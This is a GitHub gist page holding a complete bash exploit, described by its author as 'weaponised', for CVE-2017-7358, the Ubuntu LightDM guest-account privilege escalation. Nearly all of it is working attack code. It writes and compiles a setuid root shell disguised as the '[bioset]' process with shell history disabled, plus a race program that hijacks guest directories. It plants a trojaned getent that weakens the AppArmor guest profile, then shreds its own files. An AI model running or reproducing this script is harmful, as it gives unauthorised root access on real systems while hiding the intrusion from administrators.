Created
September 19, 2018 08:36
-
-
Save bcoles/88ac1e658980f6e3114bad4c1f76c662 to your computer and use it in GitHub Desktop.
Ubuntu LightDM Guest Account Local Privilege Escalation (CVE-2017-7358)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Ubuntu LightDM Guest Account Local Privilege Escalation (CVE-2017-7358) | |
# --- | |
# Usage: ./lightpwn | |
# A LightDM session is required. Exploitation will lock the current session, | |
# and could take several minutes. It usually takes about a minute. | |
# When the screen stops flashing, unlock the session and run: /bin/subash | |
# --- | |
# There's nothing new or special about this exploit. | |
# It's simply a slightly more weaponised version of the original PoC, | |
# with some rudimentary error handling, packed into a single file. | |
# There are some bugs. Sometimes exploitation will get stuck in the | |
# guest session, requiring logout and restarting the exploit. | |
# --- | |
# Original discovery and PoC by G. Geshev (@munmap): | |
# https://blogs.securiteam.com/index.php/archives/3134 | |
# --- | |
# ~ bcoles | |
EXP_HOME="/var/tmp/kodek" | |
command_exists () { | |
command -v "$1" >/dev/null 2&>/dev/null | |
} | |
check_root () { | |
if [ "$(/usr/bin/id -u)" == "0" ]; then | |
echo "[!] You are already root" | |
exit 1 | |
fi | |
} | |
command_exists () { | |
command -v "$1" >/dev/null 2&>/dev/null | |
} | |
check_env () { | |
if [ "${PWD}" != "${EXP_HOME}" ]; then | |
echo "[!] run me from ${EXP_HOME}" | |
exit 1 | |
fi | |
if ! command_exists lightdm ; then | |
echo "[!] lightdm is not installed" | |
exit 1 | |
fi | |
if ! command_exists gcc ; then | |
echo "[!] gcc is not installed" | |
exit 1 | |
fi | |
} | |
check_seats () { | |
SEATS=$(dm-tool list-seats) | |
if [[ ! "${SEATS}" =~ "CanSwitch=true" || ! "${SEATS}" =~ "HasGuestAccount=true" ]]; then | |
echo "[!] Switch to guest account not permitted" | |
exit 1 | |
fi | |
} | |
prepare () { | |
/usr/bin/killall -9 /var/tmp/boc >/dev/null 2>&1 | |
/usr/bin/killall -9 boc >/dev/null 2>&1 | |
/bin/sleep 3s | |
/usr/bin/shred -fu /var/tmp/run.sh /var/tmp/shell /var/tmp/boc >/dev/null 2>&1 | |
/usr/bin/gcc boclocal.c -Wall -s -o /var/tmp/boc | |
/usr/bin/gcc shell.c -Wall -s -o /var/tmp/shell | |
/bin/cp "${EXP_HOME}/run.sh" /var/tmp/run.sh | |
/var/tmp/boc & | |
} | |
switch () { | |
/bin/sleep 5s | |
XDG_SEAT_PATH="/org/freedesktop/DisplayManager/Seat0" /usr/bin/dm-tool lock | |
XDG_SEAT_PATH="/org/freedesktop/DisplayManager/Seat0" /usr/bin/dm-tool switch-to-guest | |
} | |
write_files () { | |
# bin/cat | |
mkdir -p "${EXP_HOME}/bin" | |
/bin/cat << EOF > $EXP_HOME/bin/cat | |
#!/bin/sh | |
/usr/bin/systemd-run --user /var/tmp/run.sh | |
/bin/sleep 15s | |
/bin/loginctl terminate-session \`/bin/loginctl session-status | /usr/bin/head -1 | /usr/bin/awk '{ print \$1 }'\` | |
EOF | |
/bin/chmod +x "${EXP_HOME}/bin/cat" | |
# run.sh | |
/bin/cat << EOF > $EXP_HOME/run.sh | |
/bin/cat << EOF_GETENT > /usr/local/sbin/getent | |
#!/bin/bash | |
/bin/cp /var/tmp/shell /bin/subash >/dev/null 2>&1 | |
/bin/chmod 4111 /bin/subash >/dev/null 2>&1 | |
COUNTER=0 | |
while [ \\\$COUNTER -lt 10 ]; do | |
/bin/umount -lf /usr/local/sbin/ >/dev/null 2>&1 | |
let COUNTER=COUNTER+1 | |
done | |
/bin/sed -i 's/\/usr\/lib\/lightdm\/lightdm-guest-session {/\/usr\/lib\/lightdm\/lightdm-guest-session flags=(complain) {/g' /etc/apparmor.d/lightdm-guest-session >/dev/null 2>&1 | |
/sbin/apparmor_parser -r /etc/apparmor.d/lightdm-guest-session >/dev/null 2>&1 | |
/usr/bin/getent passwd "\\\$2" | |
EOF_GETENT | |
/bin/chmod 755 /usr/local/sbin/getent >/dev/null 2>&1 | |
EOF | |
/bin/chmod +x "${EXP_HOME}/run.sh" | |
# shell.c | |
/bin/cat << EOF > $EXP_HOME/shell.c | |
#define _GNU_SOURCE | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <unistd.h> | |
#include <grp.h> | |
int main(void) | |
{ | |
setresuid(0, 0, 0); | |
setresgid(0, 0, 0); | |
setgroups(0, NULL); | |
putenv("HISTFILE=/dev/null"); | |
execl("/bin/bash", "[bioset]", "-pi", NULL); | |
return 0; | |
} | |
EOF | |
# boclocal.c | |
/bin/cat << EOF > $EXP_HOME/boclocal.c | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <unistd.h> | |
#include <string.h> | |
#include <ctype.h> | |
#include <sys/inotify.h> | |
#include <sys/stat.h> | |
#include <pwd.h> | |
#define EVENT_SIZE 512 | |
#define EVENT_BUF_LEN 1024 * (EVENT_SIZE + 16) | |
int main(void) { | |
struct stat info; | |
struct passwd * pw; | |
struct inotify_event * event; | |
pw = getpwnam("root"); | |
if (pw == NULL) exit(0); | |
char newpath[20] = "old."; | |
int length = 0, i, fd, wd, count1 = 0, count2 = 0; | |
int a, b, c; | |
char buffer[EVENT_BUF_LEN]; | |
fd = inotify_init(); | |
if (fd < 0) exit(0); | |
wd = inotify_add_watch(fd, "/tmp/", IN_CREATE | IN_MOVED_FROM); | |
if (wd < 0) exit(0); | |
chdir("/tmp/"); | |
while (1) { | |
length = read(fd, buffer, EVENT_BUF_LEN); | |
if (length > 0) { | |
event = (struct inotify_event * ) buffer; | |
if (event -> len) { | |
if (strstr(event -> name, "guest-") != NULL) { | |
for (i = 0; event -> name[i] != '\0'; i++) { | |
event -> name[i] = tolower(event -> name[i]); | |
} | |
if (event -> mask & IN_CREATE) mkdir(event -> name, ACCESSPERMS); | |
if (event -> mask & IN_MOVED_FROM) { | |
rename(event -> name, strncat(newpath, event -> name, 15)); | |
symlink("/usr/local/sbin/", event -> name); | |
while (1) { | |
count1 = count1 + 1; | |
pw = getpwnam(event -> name); | |
if (pw != NULL) break; | |
} | |
while (1) { | |
count2 = count2 + 1; | |
stat("/usr/local/sbin/", & info); | |
if (info.st_uid == pw -> pw_uid) { | |
a = unlink(event -> name); | |
b = mkdir(event -> name, ACCESSPERMS); | |
c = symlink("${EXP_HOME}/bin/", strncat(event -> name, "/bin", 5)); | |
if (a == 0 && b == 0 && c == 0) { | |
printf("\n[!] GAME OVER !!!\n[!] count1: %i count2: %i\n[!] w8 1 minute and run /bin/subash\n", count1, count2); | |
} else { | |
printf("\n[!] a: %i b: %i c: %i\n[!] exploit failed !!!\n[!] w8 1 minute and run it again\n", a, b, c); | |
} | |
system("/bin/rm -rf /tmp/old.*"); | |
inotify_rm_watch(fd, wd); | |
close(fd); | |
exit(0); | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
EOF | |
} | |
main () { | |
check_root | |
check_env | |
check_seats | |
write_files | |
prepare | |
switch | |
if [[ -f /bin/subash ]] ; then | |
echo "you are winner!" | |
/usr/bin/shred -fu $EXP_HOME/shell.c | |
/usr/bin/shred -fu $EXP_HOME/boclocal.c | |
exit | |
else | |
sleep 3 | |
./pwn | |
fi | |
} | |
main "$@" | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Wrote this a while ago. It worked at one time or another. YMMV.